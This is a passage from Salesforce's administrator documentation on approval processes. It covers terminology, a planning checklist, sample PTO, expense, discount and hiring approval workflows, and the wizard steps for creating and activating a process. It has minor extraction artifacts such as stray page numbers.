Periods and exclamation marks are also accepted at the end of the word. You can also optionally add comments in the second line of the email body. Users can still click a link in the email to access the approval page as well. This feature is especially useful for organizations with users who receive approval requests on mobile devices. To enable email approval response, see Customizing Workflow and Approval Settings on page 1879. Note: Before enabling email approval response, note that you cannot use this feature with approval processes in which the assigned approver is a queue, or in a multi-step approval process in which the next approver is manually chosen after the first step. Also, users that use Microsoft Word as their email editor must add the comments to the end of the first line of the reply email instead of the second. Initial Submission Actions Initial submission actions are the actions that occur when a user first submits a record for approval. By default, an action to lock the record runs automatically on initial submission. Initial submission actions can include any approval actions such as email alerts, field updates, tasks, or outbound messages. For example, an initial submission action can update a custom approval status field to In Progress.

1914

Create

Getting Started with Approval Processes

Final Approval Actions Final approval actions are the actions that occur when all required approvals have been given for a record. Final approval actions can include email alerts, field updates, tasks, or outbound messages. For example, a final approval action can change the status to Approved and send an email notification. Final Rejection Actions Final rejection actions are the actions that occur when an approver rejects the request and it goes to the final rejection state. Final rejection actions can include email alerts, field updates, tasks, or outbound messages. For example, a final rejection action can change the status to Rejected, send an email notification, and unlock the record so that users can edit it before resubmitting. Outbound Message An outbound message is a workflow, approval, or milestone action that sends the information you specify to an endpoint you designate, such as an external service. An outbound message sends the data in the specified fields in the form of a SOAP message to the endpoint. Recall Actions Recall actions are the actions that occur when a submitted approval request is recalled. By default, an action to unlock the record runs automatically on recall. Recall actions can include email alerts, field updates, tasks, or outbound messages. For example, a recall action can change the status of a request from In Progress to Not Submitted. Record Locking Record locking is the process of preventing users from editing a record, regardless of field-level security or sharing settings. Salesforce automatically locks records that are pending approval. Users must have the Modify All object-level permission for the given object, or the Modify All Data permission, to edit locked records. The Initial Submission Actions, Final Approval Actions, Final Rejection Actions, and Recall Actions related lists contain Record Lock actions by default. You cannot edit this default action for initial submission and recall actions. You can still add campaign members to campaigns locked for approval.

See Also:
Approval Processes Overview Getting Started with Approval Processes Approval Process Checklist

Getting Started with Approval Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create approval processes: Customize Application

An approval process is an automated process your organization can use to approve records in Salesforce. An approval process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records

1915

Create

Getting Started with Approval Processes

included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when a record is approved, rejected, recalled, or first submitted for approval. Before you begin creating an approval process: Review the Approval Process Checklist to prepare for your implementation and determine what wizard to use. Optionally, enable the email approval response option. The email approval response feature gives users the ability to approve or reject email approval requests by replying to the email. Approvers must have the API Enabled system permission to approve or reject approval requests via email. See Customizing Workflow and Approval Settings on page 1879.

To automate your organization's processes: 1. 2. 3. 4. 5. 6. 7. Create an approval process. Add steps to your approval process. Specify initial submission actions. Specify final approval actions. Specify final rejection actions. Specify recall actions. If this is the first approval process you are creating: Add the Approval History related list to the appropriate page layout. The Approval History related list lets users submit approval requests and track a record's progress through an approval process from the record detail page. See Customizing Page Layouts on page 1311. Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of the approval requests they need to approve or reject. For instructions on adding this related list, see Designing Home Tab Page Layouts on page 1336. Populate all custom hierarchy fields with the appropriate values.

8. Use the Process Visualizer to display a graphical version of an approval process. The view-only diagram is presented as a flowchart. The diagram and informational sidebar can help you visualize and understand the defined steps, rule criteria, and actions that comprise your approval process. Note: Standard reports for approval requests are included in both the Administrative Reports folder and the Activities Reports folder. See Administrative Reports on page 3109 and Activity Reports on page 3107.

See Also:
Approval Process Terminology Approval Process Considerations Managing Approval Processes Using the Approval Process Jump Start Wizard Choosing an Approval Process Wizard Examples of Approval Processes Process Visualizer Overview

1916

Create

Getting Started with Approval Processes

Approval Process Checklist


Available in: Enterprise, Unlimited, and Developer Editions

Plan each approval process carefully to ensure a successful implementation. Review the following checklist about preparing the appropriate information before creating your approval process. Prepare an approval request email template. Prepare an approval request post template. Determine the approval request sender. Determine the assigned approver. Determine the delegated approver. Decide if your approval process needs a filter. Design initial submission actions. Decide if users can approve requests from a wireless device. Determine if users can edit records that are awaiting approval. Decide if records should be auto-approved or rejected. Determine how many levels your process has. Determine the actions when an approval request is approved or rejected.

What email template do you want to use for approval requests? The email template you specify on an approval process is used when notifying users that an approval request is assigned to them. You can use the default email template Salesforce offers if it is appropriate for your approval process, or you can create your own email template. Include the appropriate approval process merge fields to link directly to the approval request. For details about using merge fields, see Merge Fields Overview on page 464. If your organization has enabled email approval response, the default email template includes instructions for replying to an email approval request by typing approve, approved, yes, reject, rejected, or no in the first line of the email body, and optionally adding comments in the second line. For details on email approval response and the default template, see Customizing Workflow and Approval Settings on page 1879. What Chatter post template do you want to use for approval requests? If your organization has Approvals in Chatter enabled, you can specify an approval post template to use when notifying users via Chatter that an approval request is assigned to them. You can use the default post template Salesforce offers if it is appropriate for your approval process, or you can create your own post template. See About Approvals in Chatter on page 1948. Who should be the sender of approval requests? Approval request notifications are automatically sent from the user who submitted the record for approval. When you configure an email alert, you can set it to use a different return email address for these notifications. You can choose the email address of the default workflow user if you've created one, or a previously configured and verified organization-wide address. Determine what email address to use. Who can approve requests? Requests can be approved or rejected by any of the following:

1917

Create

Getting Started with Approval Processes

A user or queue that the approval request submitter chooses. A queue specified by the administrator. A user listed in the Manager standard field on the submitter's user detail page. A user listed in a custom hierarchy field on the submitter's user detail page. Any combination of users and related users (users listed in a standard or custom field on the submitted record) specified by the administrator.

Each step in your approval process can assign approval requests using any of these options. Should approval requests be delegated to another user for approval? An approval request can be approved by an approver's designated delegate. However, you can disable this option. Decide if you want to allow delegated users to approve requests. Then, for each user, populate the Delegated Approver field on the user's detail page. What records should be included in this process? Determine what attributes a record must have to be included in your approval process. If necessary, create the custom fields to store this information so that you can use it in your filter criteria. For example, if you want to include expense records from your headquarters office only, create a custom picklist field called Office Location that has two options: HQ and Field. Then, you would specify in your filter criteria that records must have HQ in the Office Location field to be included in the approval process. What should happen when a record is first submitted for approval? When users submit a record for approval, Salesforce automatically locks the record so that other users cannot change it while it is awaiting approval. You can still add campaign members to campaigns locked for approval. Decide if you want other workflow actions to happen when a record is first submitted, such as email alerts, tasks, field updates, and outbound messages. These actions become your Initial Submission Actions. Should users be able to approve requests from a mobile device? Determine if you want to require users to log in to Salesforce to approve requests. You can also set up your approval process to allow users to approve requests remotely using a mobile browser. Who can edit records that are awaiting approval? Records submitted for approval are automatically locked. Users with the Modify All object-level permission for the given object, or the Modify All Data permission, can always unlock a record and edit it. However, you may also specify that the currently assigned approver can edit the record as well. You can still add campaign members to campaigns locked for approval. Should records be automatically approved, rejected, or skipped based on certain criteria? You can set entry criteria for each step of your process, and configure Salesforce to automatically approve, reject, or skip the process if a record does not meet that entry criteria. For example, all expenses submitted with an Amount less than $15 are automatically approved. How many people need to approve these requests? An approval process can have several layers of approvals. Determine how many users need to approve requests and in what order.

1918

Create

Getting Started with Approval Processes

Should any actions happen when a request is approved or rejected? You can set up to 40 additional actions to take place when a request is recalled, approved, or rejected at each step, up to 10 of each of the following types: Type Task Email Alert Field Update Outbound Message Description Assigns a task to a user you specify. You can specify the Subject, Status, Priority, and Due Date of the task. Uses an email template you specify to send an email to a designated recipient. Changes the value of a selected field. You can specify a value or create a formula for the new value. Sends a message to an endpoint you designate. You can also specify a username and the data you want to include in the message.

You can also set up to 40 additional actions to take place when a record has received all necessary approvals or is completely rejected.

See Also:
Getting Started with Approval Processes Approval Processes Overview Examples of Approval Processes

Examples of Approval Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create approval processes: Customize Application

An approval process is an automated process your organization can use to approve records in Salesforce. An approval process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when a record is approved, rejected, recalled, or first submitted for approval. Use these samples of common approval processes to help you get started creating your own: Sample Approval Process: PTO Requests Sample Approval Process: Expense Reports Sample Approval Process: Discounting Opportunities Sample Approval Process: Job Candidates

1919

Create

Getting Started with Approval Processes

Note: If your organization has both Approvals and Chatter enabled, administrators can turn on Approvals in Chatter, which lets users receive approval requests as posts in their Chatter feed. To find out more about how Chatter can enhance your approval processes, see About Approvals in Chatter on page 1948.

Sample Approval Process: PTO Requests


Available in: Enterprise, Unlimited, and Developer Editions

Most companies require employees to file a PTO (Paid Time Off) request and have their manager approve it. In three phases, here's how to automate a simple one-step PTO request process using Salesforce. Prep Your Organization Before creating the approval process: If you do not yet have a custom object to track your PTO requests, create a custom object and tab called PTO Requests. Add the appropriate fields for your PTO Requests such as Start Date, End Date, and Employee Name. See Defining Custom Objects on page 1822 and Defining Custom Tabs on page 1861. Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 474.

Create the Approval Process Use the jump start wizard to create an approval process for the PTO Request custom object and specify the following: Select the email template you created for this approval process. Don't specify filter criteria if you want each user to submit PTO requests and have them included regardless of their attributes. Select the Automatically assign an approver using a standard or custom hierarchy field option, then choose Manager. The jump start wizard automatically chooses the record owner as the only person who can submit PTO requests. Tip: If you want the submitter to be able to withdraw a submitted PTO request: 1. Click Edit and choose Initial Submitters. 2. Select Allow submitters to recall approval requests. If the Allow submitters to recall approval requests option is selected for the approval process, both submitters and administrators can see the Recall Approval Request button in the Approval History related list on the detail page of submitted records; otherwise, only administrators can see it. When a user clicks Recall Approval Request, the pending approval request for the record is withdrawn and recall actions are run. For more information, see Recall Actions on page 1944. Wrap Things Up After creating the approval process, add the Approval History related list to the PTO Request object page layout. See Customizing Page Layouts on page 1311.

1920

Create

Getting Started with Approval Processes

Tip: Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of the approval requests they need to approve or reject. For instructions on adding this component to your home page layouts, see Designing Home Tab Page Layouts on page 1336. If available, use your sandbox to test the approval process, then activate it.

Sample Approval Process: Expense Reports


Available in: Enterprise, Unlimited, and Developer Editions

If your company requires that employees file expense reports for managers to approve, you can automate this process in Salesforce. Use this example to create a two-step expense report approval process for all employees in your headquarters office. It specifies that expenses less than $50 are automatically approved, those $50 and over require manager approval, and those over $5,000 require additional approval from two VPs. This example highlights the else option, as well as the parallel approvals feature. Prep Your Organization Before creating the approval process: If you do not yet have a custom object to track your expenses, create a custom object and tab called Expense Reports. See Defining Custom Objects on page 1822 and Defining Custom Tabs on page 1861. Add the appropriate fields such as Amount, Description, Status, Start Date, and End Date. Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 474. Create a custom field on the user object called Office Location. Assign the HQ value to users in the headquarters office location.

Create the Approval Process Create an approval process using the Expense Report custom object and specify the following: The filter criteria for this approval process is Current User: Office Location equals HQ. Records must meet this criteria before they can be submitted to this approval process. Choose the Manager field as the next automated approver. Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 474. Choose the record owner or any other user who you want to be able to submit expense reports. Create two approval steps: 1. Create a step named Step 1: Manager Approval with the following specifications: Name this step Step 1: Manager Approval. Select Enter this step if the following and choose criteria are met. Also, choose approve record for the else option. Set the filter criteria to: Expense: Amount greater or equal 50. In the Automatically assign to approver(s) option, select the manager of the user submitting the request. If appropriate, choose The approver's delegate may also approve this request if you want to allow the user in the Delegated Approver field to approve requests.

1921

Create

Getting Started with Approval Processes

2. Create a second approval step named Step 2: Multiple VP Approval and specify the following: Use the filter criteria Expense Amount greater or equal 5000. Choose Automatically assign to approver(s) and select two users with a VP role. Select the Require UNANIMOUS approval from all selected approvers option. The request will not be approved unless both designated users approve. If appropriate, choose The approver's delegate may also approve this request if you want to allow the user in the Delegated Approver field to approve requests. Choose Perform ONLY the rejection actions for this step... so that the request returns to the manager for changes if one of the VPs rejects the request. Tip: Consider creating the following final approval actions: Define a field update to automatically change the Status field to Approved. Send an approval notification to the user who submitted the expense report. Send an outbound message to your backoffice financial system to print a reimbursement check.

Wrap Things Up After creating the approval process, add the Approval History related list to the Expense Report object page layout. See Customizing Page Layouts on page 1311. Tip: Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of the approval requests they need to approve or reject. For instructions on adding this component to your home page layouts, see Designing Home Tab Page Layouts on page 1336. If available, use your sandbox to test the approval process, then activate it.

Sample Approval Process: Discounting Opportunities


Available in: Enterprise, Unlimited, and Developer Editions

Opportunities that are discounted more than 40% require a CEO approval. Use this example to create a one-step approval process. Prep Your Organization Before creating the approval process: Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 474. Create a custom percent field on opportunities called Discount Percent so that users can enter a percentage discount. Create a custom checkbox field on opportunities called Discount Approved to indicate if the CEO approved the discount.

1922

Create

Getting Started with Approval Processes

Create the Approval Process Create an approval process on the Opportunity object and specify the following: The filter criteria for this approval process is Discount Percent greater or equal 0.04. Records must meet this criteria before they can be submitted to this approval process. You don't need to choose a custom field as the next automated approver because you will specify later in the process that the CEO must approve all requests. Select the email template you created for this approval process. Choose the record owner as the only user who can submit a discount request for approval. Create one approval step with no filter criteria because all records submitted will need to be approved or rejected. See Creating Approval Steps on page 1936. Choose Automatically assign to approver(s) and select the name of your CEO. If appropriate, choose The approver's delegate may also approve this request if you want to allow the user in the Delegated Approver field to approve requests. Consider creating the following final approval actions: Send an approval notification to the user who submitted the discount request. Define a field update to automatically select the opportunity Discount Approved checkbox field. Wrap Things Up After creating the approval process, add the Approval History related list to the appropriate opportunity page layouts. See Customizing Page Layouts on page 1311. Tip: Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of the approval requests they need to approve or reject. For instructions on adding this component to your home page layouts, see Designing Home Tab Page Layouts on page 1336. If available, use your sandbox to test the approval process, then activate it.

Sample Approval Process: Job Candidates


Available in: Enterprise, Unlimited, and Developer Editions

When your company interviews candidates for a position, you may have several levels of approval before you can send an offer letter. Use this example to create a three-step approval process that requires approval from multiple management levels. Prep Your Organization Before creating the approval process: If you don't yet have a custom object to track candidates, create a custom object and tab called Candidates. See Defining Custom Objects on page 1822 and Defining Custom Tabs on page 1861. Add the appropriate fields such as Salary, Offer Extended (checkbox), and Date of Hire. Create an email template to notify approvers that an approval request needs to be reviewed. Be sure to include one of the approval process merge fields to take users directly to the approval page. See Managing Email Templates on page 474.

1923

Create

Getting Started with Approval Processes

Create the Approval Process Create an approval process on the Candidate custom object using the following specifications: Don't enter filter criteria because you want all submitted offers to be approved. Choose the Manager field as the next automated approver. Select the email template you created for this approval process. Choose the record owner or any other user that you want to be able to submit offer letters. Create three approval steps: 1. Create a step named Step 1: Manager Approval: No filter is necessary as you want all records to advance to this step. In the Automatically assign to approver(s) option, select the manager of the user submitting the request. If appropriate, choose The approver's delegate may also approve this request if you want to allow the user in the Delegated Approver field to approve requests. 2. Create a second step named Step 2: VP Approval: No filter is necessary as you want all records to advance to this step. Choose Let the user choose the approver to allow the manager to select the appropriate VP to approve the request. If appropriate, choose The approver's delegate may also approve this request if you want to allow the user in the Delegated Approver field to approve requests. Choose Perform ONLY the rejection actions for this step... so that the request returns to the manager for changes if the VP rejects the request. 3. Create a third step named Step 3: CFO Approval: No filter is necessary as you want all records to advance to this step. Choose Automatically assign to approver(s) and select the name of your CFO. If appropriate, choose The approver's delegate may also approve this request if you want to allow the user in the Delegated Approver field to approve requests. Choose Perform all rejection actions for this step AND all final rejection actions. (Final Rejection) so that offer letters rejected by your CFO are completely rejected. Tip: Consider creating the following final approval actions: Send an approval notification to the user who submitted the offer letter request. Define a field update to select the Offer Extended checkbox field. Consider creating the following final rejection actions: Send a notification to the manager that the offer won't be extended.

Wrap Things Up After creating the approval process, add the Approval History related list to the Candidates object page layout. See Customizing Page Layouts on page 1311.

1924

Create

Getting Started with Approval Processes

Tip: Consider adding the Items To Approve related list to your custom home page layouts. It gives users an instant view of the approval requests they need to approve or reject. For instructions on adding this component to your home page layouts, see Designing Home Tab Page Layouts on page 1336. If available, use your sandbox to test the approval process, then activate it.

Choosing an Approval Process Wizard


Available in: Enterprise, Unlimited, and Developer Editions

Approval processes require planning and preparation. Before you create an approval process, determine which wizard is best for your needs. Jump Start Wizard The jump start wizard is useful for simple approval processes with a single step. Use the jump start wizard if you want to create an approval process quickly by allowing Salesforce to automatically choose some default options for you. For a list of the options the jump start wizard chooses automatically, see Approval Process Jump Start Default Selections on page 1957. To create an approval process using the jump start wizard, see Using the Approval Process Jump Start Wizard on page 1954. Standard Wizard The standard wizard is useful for complex approval processes. Use it when you want to fine tune the steps in your approval process. The standard wizard consists of a setup wizard that allows you to define your process and another setup wizard that allows you to define each step in the process. To create an approval process using the standard wizard, see Creating Approval Processes on page 1929.

See Also:
Approval Processes Overview Getting Started with Approval Processes Examples of Approval Processes

1925

Create

Getting Started with Approval Processes

Approval Process Considerations


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To use approvals: Various user permissions required depending on the action

Before you implement an approval process for your organization, consider the following: Active approval processes can't be deleted but they can be deactivated. Before deleting an approval process, make sure it is inactive and that no records have been submitted for approval. If any records have been submitted, delete them and remove them from the Recycle Bin. You can enable email approval response. The email approval response feature gives users the ability to approve or reject email approval requests by replying to the email. Approvers must have the API Enabled system permission to approve or reject approval requests via email. If you make your approval object a detail object in a master-detail relationship, the Owner field isnt available for approval page layouts or approval post templates. Educate your users on the criteria for each approval process and what each of your approval processes does. Users can't tell what approval process is triggered when they click Submit for Approval. Records are locked while in an approval process. The ability to edit a locked record depends on the record editability setting of the approval process: Administrators ONLY: Only users with the Modify All object-level permission for the given object, or the Modify All Data permission, can edit locked records. Administrators or the currently assigned approver...: The current approver and users who match the Administrators ONLY criteria can edit locked records. The current approver must also have edit access to the record through their permissions and the organization-wide sharing defaults for the given object. You can still add campaign members to campaigns locked for approval. Approval processes that allow the user to select an approver manually also allow the user submitting a request to select himself or herself as the approver. When you need to update the criteria are met, else and rejection behavior for a step in an inactive, multi-step approval process, update both at the same time. An error can occur if you change your criteria, save the step, then go back in to change the rejection behavior. An approval process can specify a field update action that re-evaluates workflow rules for the updated object. If, however, the re-evaluated workflow rules include a cross-object field update, those cross-object field updates will be ignored. To prevent this, ensure that in the approval actions you deselect Re-evaluate Workflow Rules After Field Change for field updates.

Error Messages An error message displays for the user submitting an approval request: If the approval request needs to go to the user's direct manager and there is no direct manager for that user. If the approval process has a field update that fails standard validation rules for the field. This could happen for a field that isn't visible on the user's page layout.

1926

Create

Getting Started with Approval Processes

Note: Field updates dont evaluate custom validation rules on fields.

An error message displays for the user submitting an approval request for an entitlement or service contract if both these conditions are met: The approval process includes Record Owner as an initial submitter. The user submitting the approval request isn't the owner of the account associated with the entitlement or service contract.

Approvals and Queues You can't use email approval response with approval processes in which the assigned approver is a queue. You can't assign a group or queue as a delegated approver. When the assigned approver is a queue: Any queue member can approve or reject an approval request that is assigned to the queue. When an approval request is assigned to a queue, the email notification is sent to the email address for the queue. Depending on your queue settings, an email notification is also sent to each queue member. When an approval request is assigned to a queue, each queue member's delegated approver also receives an approval request email notification. Because email notifications to a queue arent intended for an external audience, any instances of the merge field {!ApprovalRequest.External_URL} in the email template are sent as the equivalent internal URL. When an approval request is rejected and returned to the previous approver and the previous approver was a queue, the approval request is assigned to the user who approved it, instead of the queue. The Approval History related list displays the queue name in the Assigned To column and the actual user who approved or rejected the approval request in the Actual Approver column. Note: Queues are only available on specific objects. For more information on queues, see Managing Queues on page 603.

Limitations There is a limit of 15 steps per process. There is a limit of 25 approvers per step. You can't create outbound messages for approval processes on junction objects. After an approval process is activated, you can't add, delete, or change the order of the steps or change reject or skip behavior for that process, even if you make the process inactive. The Status field cannot be updated by approval processes. If you want to use the contract status as part of an approval process, Salesforce recommends creating a custom status field.

Approvals and Merge Fields Approval process merge fields can be used in email templates, but not mail merge templates. Merge fields in the approval request email are set to the submitter's name and the name of the first step. When the request is approved, the merge fields update to the most recent approver's name and the name of the second step, if applicable.

1927

Create

Managing Approval Processes

For subsequent actions, merge field values are updated based on the previous completed step.

See Also:
Getting Started with Approval Processes Approval Process Terminology Approval Processes Overview Process Visualizer Overview Examples of Approval Processes Custom Field Types Operators and Functions

Managing Approval Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, delete, or clone approval processes: To view approval processes: Customize Application View Setup and Configuration

An approval process is an automated process your organization can use to approve records in Salesforce. An approval process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when a record is approved, rejected, recalled, or first submitted for approval. To manage approval processes, click Your Name > Setup > Create > Workflow & Approvals > Approval Processes. Select an object from the drop-down list to create, edit, or delete approval processes for that object. To create a new approval process, click Create New Approval Process. See Creating Approval Processes on page 1929. To change the order of your active approval processes, change the numbers in the Process Order column and click Reorder. Click Del next to an inactive approval process to delete it. Before deleting an approval process, make sure it is inactive and that no records have been submitted for approval. If any records have been submitted, delete them and remove them from the Recycle Bin. Click Edit next to an approval process to change it. Click Activate next to an inactive approval process to activate it. An approval process must have at least one step before you can activate it. Click Deactivate next to an active approval process to make it inactive. The approval process moves to the list of inactive approval processes. Select an approval process to view the details: Click Clone to create a new approval process based on the selected approval process. Click Deactivate to make the approval process inactive.

1928

Create

Managing Approval Processes

Click Delete to delete an inactive approval process. Before deleting an approval process, make sure it is inactive and that no records have been submitted for approval. If any records have been submitted, delete them and remove them from the Recycle Bin. Click Edit and choose an option from the drop-down button to jump to the appropriate wizard page: Specify Name, Unique Name, and Description Specify Criteria for Entering Process Specify Approver Field and Record Editability Select Email or Chatter Post Notification Template Configure Approval Request Page Layout Specify Initial Submitters Tip: You can use the Developer Console to debug workflow rules. The Developer Console lets you view debug log details and information about workflow rules and actions, such as the name of the user who triggered the workflow rule and the name and ID of the record being evaluated.

See Also:
Getting Started with Approval Processes Approval Process Terminology Approval Process Checklist Managing Multiple Approval Requests Process Visualizer Overview Examples of Approval Processes

Creating Approval Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create approval processes: Customize Application

An approval process is an automated process your organization can use to approve records in Salesforce. An approval process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when a record is approved, rejected, recalled, or first submitted for approval. Before you begin, determine which wizard to use. See Choosing an Approval Process Wizard on page 1925. To create an approval process: 1. Launch the Approval Process Wizard. 2. Specify Name, Unique Name, and Description. 3. Specify Criteria for Entering Process.

1929

Create

Managing Approval Processes

4. 5. 6. 7. 8.

Specify Approver Field and Record Editability. Select Email or Chatter Post Notification Template. Configure Approval Request Page Layout. Specify Initial Submitters. Activate the Approval Process.

Launch the Approval Process Wizard 1. Click Your Name > Setup > Create > Workflow & Approvals > Approval Processes. 2. Choose the object for the new approval process. 3. Click Create New Approval Process and choose Use Standard Setup Wizard from the drop-down button. Alternatively, click Use Jump Start Wizard if you want to create a basic approval process with default settings. For instructions on using the jump start wizard, see Using the Approval Process Jump Start Wizard on page 1954. Specify Name, Unique Name, and Description 1. Enter a name for the new approval process. 2. Enter a unique name, which will be used to refer to this approval process in the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. The requirement for uniqueness is only within the selected object type. You can have two approval processes with the same unique name, provided they are defined for different objects, such as one for Campaigns and one for Opportunities. The Unique Name field can contain only underscores and alphanumeric characters. It must be unique within the selected object type, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 3. Optionally, enter a description. 4. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store your changes. Specify Criteria for Entering Process If only certain types of records should enter this approval process, do one of the following: Select criteria are met if you want to set a filter criteria that a record must meet to enter this approval process. For example, if only employees from headquarters should use this approval process to submit expense reports, enter the following filter criteria: Current User: Office Location Equals Headquarters. For more information on using filter criteria, see Entering Filter Criteria on page 3136. 1. Enter filter criteria for records that you want included in this approval process. Leave the filter blank if you want all records submitted to be included in the approval process. . Note: Select a current user field if you want to filter based on the user submitting an approval request.

2. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store your changes. Select formula evaluates to true if you want a formula to determine what records enter the approval process. 1. Enter a formula that returns True or False. A record enters the approval process if the formula returns True. For example, use the following formula to require a record to enter this approval process when the record's discount approval cutoff date is less than 30 days away:
(Discount_Approval_CutoffDate__c < (CloseDate - 30)

1930

Create

Managing Approval Processes

2. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store your changes. For information on using formulas, see Building Formulas on page 1168. Some functions are not available in approval process formulas. For information on which functions you can use in approval process formulas, see Operators and Functions on page 1230. Specify Approver Field and Record Editability When you define approval steps, you can assign approval requests to different users. One option is to use a user field to automatically route these requests. The user field can be any custom hierarchical relationship field such as Account Manager or the Manager standard user field. To see some examples of specifying a user field as an approver field, see Examples of Approval Processes on page 1919. When a record is in the approval process, it is always locked; only an administrator can edit it. However, you can also allow the currently-assigned approver to edit the record. You can still add campaign members to campaigns locked for approval. 1. From the Next Automated Approver Determined By picklist, select a user field if you want Salesforce to automatically assign approval requests to an approver based on the value in the user field. For example, you may want approval requests automatically routed to a user's manager as specified in the Manager standard user hierarchy field. Or, you may want approval requests automatically routed to an associate specified in a custom Account Manager user field. To specify a user to approve all approval requests, leave this field blank. You can select a user, or users, as the approver when creating an approval step. Warning: If you leave the Next Automated Approver Determined By field blank, you can't automatically assign approval requests to the manager in any step you create for this approval process. Optionally, select the Use Approver Field of Record Owner checkbox if you want the approval process to use the Manager standard user field or a custom field on the record owner's user record instead of the submitter's user record. Once you use this setting in a step, and in subsequent steps, it refers to the manager of the approver, not the manager of the record owner. Note: Make sure the assigned approver has access to read the records for the approval requests. For example, a user who does not have read access to an Expenses custom object will not be able to view expense approval requests. 2. Select Administrators ONLY... if you want only users with the Modify All object-level permission for the given object, or the Modify All Data permission, to be able to edit records that are pending approval. Select Administrators OR... if you want the assigned approver to be able to edit the records too. The assigned approver must also have edit access to the record through both their permissions and the organization-wide sharing defaults for the given object. When a record is submitted for approval, it is automatically locked to prevent other users from editing it during the approval process. 3. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store your changes. Select Email or Chatter Post Notification Template When an approval process assigns an approval request to a user, Salesforce automatically sends the user an approval request email. The email contains a link to the approval page in Salesforce, where the user can approve or reject the request and add comments. If email approval response is enabled, the user can alternatively reply to the email by typing approve, approved, yes, reject, rejected, or no in the first line of the email body, and adding comments in the second line. This option is especially useful for users who might receive approval requests on a mobile device.

1931

Create

Managing Approval Processes

Note: Approvers must have the API Enabled system permission to approve or reject approval requests via email.

If your organization has Approvals in Chatter enabled, you can also elect to send your approver a notification via Chatter. Note: Chatter post approval notifications are only available for approval processes associated with an object that has been enabled for feed tracking. If the assigned approver has opted to receive approval notifications as Chatter posts, they'll see a post on their Chatter feed in addition to getting the approval request email. 1. Choose a custom email template to use when notifying approvers that an approval request is assigned to them, or leave this field blank to use the default email template. Each approval process uses a single email template for all steps. For more information on creating email templates, see Managing Email Templates on page 474. Note: If email approval response is enabled, be sure the email template you use describes how to correctly use both response options: clicking the link and replying by email. If the user doesn't respond correctly (for example, if the user misspells approve or types it on the wrong line), Salesforce doesn't register the user's response. If the email template you choose contains approval merge fields named {!ApprovalRequest.field_name}, these fields will return values only when that email template is used as the approval assignment template. If you use the template for any other email alert actionin either workflow rules or approval processesthe merge fields will return a null value. 2. If available, choose an approval post template to use when notifying approvers via a post in their Chatter feed. If you don't pick an approval post template, the approval post for the object uses either the system default template or, if you created one, the default template for the object. For more information on creating approval post templates, see Creating and Editing Approval Request Post Templates for Chatter on page 1952. Note: Only users with access to the approval record can see the approval request post. Comments on approval posts aren't persisted to the approval record. 3. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store your changes. Configure Approval Request Page Layout The approval page is where an approver approves or rejects a request. 1. Select the fields you want to display on the approval request page and click Add. 2. Sort the fields by selecting them and clicking Up or Down. 3. Select Display approval history information... to include the Approval History related list that lists such fields as Date, Assigned To, Actual Approver, and Comments. To modify the fields displayed on the Approval History related list, see Customizing Page Layouts on page 1311. 4. Select Add Approval History Related List... to update all the page layouts for this object to include a related list that allows users to submit approval requests and track them. 5. Choose a security setting:
Allow approvers to access the approval page only from within the application

Requires users to log in to Salesforce before approving or rejecting an approval request.

1932

Create

Managing Approval Processes

Allow approvers to access the approval page only from within the application, or externally from a wireless-enabled mobile device

Users can approve requests from the email notification they receive via a wireless device. Note that this prevents the approver from selecting a Salesforce user as the next approver. 6. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store your changes. Specify Initial Submitters Specify which users are allowed to submit records for approval. For example, choose Owner if expense reports can only be submitted by record owners. 1. Select a Submitter Type, enter a search term, and click Find. 2. Select from the list of available submitters and click Add. 3. Optionally, select Allow submitters to recall approval requests to give submitters the option to withdraw their approval requests. If the Allow submitters to recall approval requests option is selected for the approval process, both submitters and administrators can see the Recall Approval Request button in the Approval History related list on the detail page of submitted records; otherwise, only administrators can see it. When a user clicks Recall Approval Request, the pending approval request for the record is withdrawn and recall actions are run. For more information, see Recall Actions on page 1944. This option is useful for situations that can change on the submitter's side while waiting for an approval. For example, an opportunity might be lost after the user submits it for approval. 4. Click Save. Activate the Approval Process Activate the process after you have created at least one approval step for the approval process. See Creating Approval Steps on page 1936. To activate a process: 1. Click Next. If you are editing an existing approval process and don't want to make further changes, click Save to store your changes.

1933

Create

Managing Approval Processes

2. Click Activate next to the process.

See Also:
Getting Started with Approval Processes Managing Approval Processes Managing Approval Steps Customizing Workflow and Approval Settings Initial Submission Actions Final Approval Actions Final Rejection Actions Recall Actions Selecting Approval Actions Creating Approval Actions Process Visualizer Overview Approval Process Considerations Examples of Approval Processes Getting Started With Approvals in Chatter Custom Field Types Operators and Functions

Viewing Your Approval Process


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view approval processes: Customize Application

